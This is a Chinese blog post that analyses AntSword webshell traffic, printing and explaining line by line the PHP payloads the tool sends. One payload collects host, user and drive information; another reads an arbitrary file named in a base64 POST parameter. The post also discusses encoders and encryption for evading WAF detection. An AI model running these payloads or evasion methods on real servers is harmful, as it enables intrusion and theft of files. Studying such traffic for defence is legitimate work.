本文写一点关于蚁剑的流量分析。
一句话木马的原理我在启明面试后续文中已经提到了。
来看看蚁剑的马是什么情况。
我们来逐句分析。
注:文件内容直接取自https://www.cnblogs.com/Lmg66/p/14016869.html
@ini_set("display_errors", "0");
不进行php报错。
@set_time_limit(0);
无超时限制,会长期等待,防止大文件上传时产生断线问题。
function asenc($out){
return $out;
};
数据返回。
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "c6b05fd97";
echo @asenc($output);
echo "d69e35d304";}
返回缓冲区内容到output。
并且清除关闭缓冲区,后将缓冲区内容输出。
ob_start();
创建干净的缓冲区。
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
尝试获取当前文件所在目录的绝对路径的目录名称。
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
若获取失败(即为空)则获取文件目录的基本路径的目录名称。
$R="{$D} ";
然后获取的加一个TAB赋值给R。
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}
这里进行了一个文件头判断,目的是判断文件所载系统,若为windows系统,则进行C~Z的盘符遍历,搜索到后加到R后面。
else{
$R.="/";}
$R.=" ";
若是linux系统,就加一个/,再加个tab
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
查看是否存在这些函数,然后以下是试图赋值。
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;}
把php的信息也加到R中
catch(Exception $e){
echo "ERROR://".$e->getMessage();};
出错就把报错信息放进去
asoutput();
输出了一下缓存
die();
断开
以上就是文件内容,接下来我们看一下下一步的指令。
前面的内容大致相同,看看不一样的,不一样的基本在try中。
@ini_set(
"display_errors",
"0");
@set_time_limit(
0);
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo"a170af01bc"
;
echo @asenc($output);
echo"6d341a3c3a"
;
}
ob_start();
try{
$F=base64_decode(substr($_POST[
"hfdce8c1b4e4ef"],
2));
base64解码post传入的另一个数据,但是这个参数并不是base64的,只是个随机名称,目的应该是在后面上传时候进行一次免杀。
$P=@fopen($F,
"r");
echo(@fread($P,filesize($F)?filesize($F):
4096));
打开文件,申请空间,这里若文件为空就读取4096的空间
@fclose($P);;
关闭
}
catch(
Exception$e){
echo"ERROR://"
.$e->getMessage();};asoutput();
die();
其实在最后还在post的参数中给予了一个赋值,然后再进行文件读取。
可能是为了防止部分waf对文件写入的路径进行解码,并且为了能够更灵活的从上文提到的第一次数据带回中读取文件路径吧。
流量部分就到这里。
蚁剑提供了可以自主开发的编码器,用以流量免杀。
也可以使用RAS等进行加密流量免杀。(这个有配置要求,比如php不开启ssl是无法调用函数等)
网上文章超多,就不展开了。
哥斯拉与冰蝎更多使用非对称加密与对称加密混合的方式,蚁剑改改也能做到,需要的话可以反编译一下,这里就不多说了。
之后有需要会聊聊webshell的静态免杀与动态免杀,流量加密多半不会单独写。